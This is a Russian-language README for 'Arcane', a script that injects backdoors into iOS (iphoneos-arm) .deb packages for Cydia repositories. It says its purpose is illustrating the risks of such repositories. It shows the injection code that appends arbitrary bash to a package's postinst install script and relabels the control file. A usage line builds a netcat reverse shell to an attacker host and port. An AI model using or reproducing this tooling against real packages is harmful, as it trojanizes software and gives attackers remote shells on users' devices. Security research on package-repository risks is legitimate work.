
Arcane — это простой скрипт, предназначенный для внедрения бэкдоров в iOS-пакеты (iphone-arm) и создания необходимых ресурсов для APT-репозиториев.
Arcane — это простой скрипт, предназначенный для внедрения бэкдора в iOS-пакеты (iphone-arm) и создания необходимых ресурсов для APT-репозиториев. Он был создан для этой публикации, чтобы помочь проиллюстрировать, почему репозитории Cydia могут быть опасны и какие атаки пост-эксплуатации возможны с взломанного iOS-устройства.

Чтобы понять, что происходит на GIF, распакуйте пакет, созданный с помощью Arcane.
dpkg-deb -R /tmp/cydia/whois_5.3.2-1_iphoneos-arm_BACKDOORED.deb /tmp/whois-decomp
Обратите внимание на файлы control и postinst в каталоге DEBIAN. Оба файла важны.
tree /tmp/whois-decomp/
/tmp/whois-decomp/
├── DEBIAN
│ ├── control
│ └── postinst
└── usr
└── bin
└── whois
В состав пакета можно включать скрипты, которые выполняются при установке или удалении приложений. Скрипты сопровождения пакетов включают файлы . Arcane использует файл для выполнения команд во время установки.
postinst# Файл "post-installation". Обычно отвечает за выполнение команд
# в ОС после установки необходимых файлов. Используется разработчиками
# для управления и поддержки различных аспектов установки. Arcane
# злоупотребляет этой функциональностью, добавляя вредоносные Bash-команды.
postinst="$tmp/DEBIAN/postinst";
# Функция для обработки типа команды, встраиваемой в файл postinst.
function inject_backdoor ()
{
# Если указан --file, вставить содержимое файла командой `cat`.
if [[ "$infile" ]]; then
cat "$infile" >> "$postinst";
embed="[$infile]";
else
# Если --file не указан, использовать простую Bash-полезную нагрузку,
# определённую ранее.
echo -e "$payload" >> "$postinst";
embed="generic shell command";
fi;
status "встроено $embed в postinst" "ошибка встраивания бэкдора";
chmod 0755 "$postinst"
};
Файл control содержит значения, которые используются инструментами управления пакетами при установке. Arcane либо изменяет существующий control, либо создаёт его.
# Шаблон файла "control". Большинство iOS-пакетов включают control-файл.
# Если он не найден, Arcane использует шаблон ниже. Переменная `$hacker`
# используется для заполнения различных произвольных полей.
# https://www.debian.org/doc/manuals/maint-guide/dreq.en.html
controlTemp="Package: com.$hacker.backdoor
Name: $hacker backdoor
Version: 1337
Section: app
Architecture: iphoneos-arm
Description: A backdoored iOS package
Author: $hacker <https://$hacker.github.io/>
Maintainer: $hacker <https://$hacker.github.io/>";
...
# Проверка наличия файла control.
if [[ ! -f "$tmp/DEBIAN/control" ]]; then
# Если control не обнаружен, создать его по шаблону.
echo "$controlTemp" > "$tmp/DEBIAN/control";
status "создан control-файл" "ошибка шаблона control";
else
# Если control-файл существует, Arcane просто переименовывает пакет
# так, как он отображается в списке доступных приложений Cydia.
# Это упрощает поиск пакета в Cydia.
msg "обнаружен control-файл" succ;
sed -i '0,/^Name:.*/s//Name: $hacker backdoor/' "$tmp/DEBIAN/control";
status "изменён control-файл" "ошибка control";
fi;
Клонируйте репозиторий в Kali v2020.3.
sudo apt-get update; sudo apt-get install -Vy bzip2 netcat-traditional dpkg coreutils # зависимости
sudo git clone https://github.com/tokyoneon/arcane /opt/arcane
sudo chown $USER:$USER -R /opt/arcane/; cd /opt/arcane
chmod +x arcane.sh;./arcane.sh --help
Встройте команду в заданный пакет. Дополнительную информацию см. в статье.
./arcane.sh --input samples/sed_4.5-1_iphoneos-arm.deb --lhost <атакующий> --lport <4444> --cydia --netcat
Репозиторий включает пакеты для тестирования.
ls -la samples/
-rw-r--r-- 1 root root 100748 Jul 17 18:39 libapt-pkg-dev_1.8.2.1-1_iphoneos-arm.deb
-rw-r--r-- 1 root root 142520 Jul 22 06:21 network-cmds_543-1_iphoneos-arm.deb
-rw-r--r-- 1 root root 76688 Aug 29 2018 sed_4.5-1_iphoneos-arm.deb
-rw-r--r-- 1 root root 60866 Jul 8 21:03 top_39-2_iphoneos-arm.deb
-rw-r--r-- 1 root root 13810 Aug 29 2018 whois_5.3.2-1_iphoneos-arm.deb
MD5-суммы, как указано в официальном репозитории Bingner.
md5sum samples/*.deb
3f1712964701580b3f018305a55e217c samples/libapt-pkg-dev_1.8.2.1-1_iphoneos-arm.deb
795ccf9c6d53dd60d2f74f7a601f474f samples/network-cmds_543-1_iphoneos-arm.deb
a020882dac121afa4b03c63304d729b0 samples/sed_4.5-1_iphoneos-arm.deb
38db275007a331e7ff8899ea22261dc7 samples/top_39-2_iphoneos-arm.deb
b40ee800b72bbac323568b36ad67bb16 samples/whois_5.3.2-1_iphoneos-arm.deb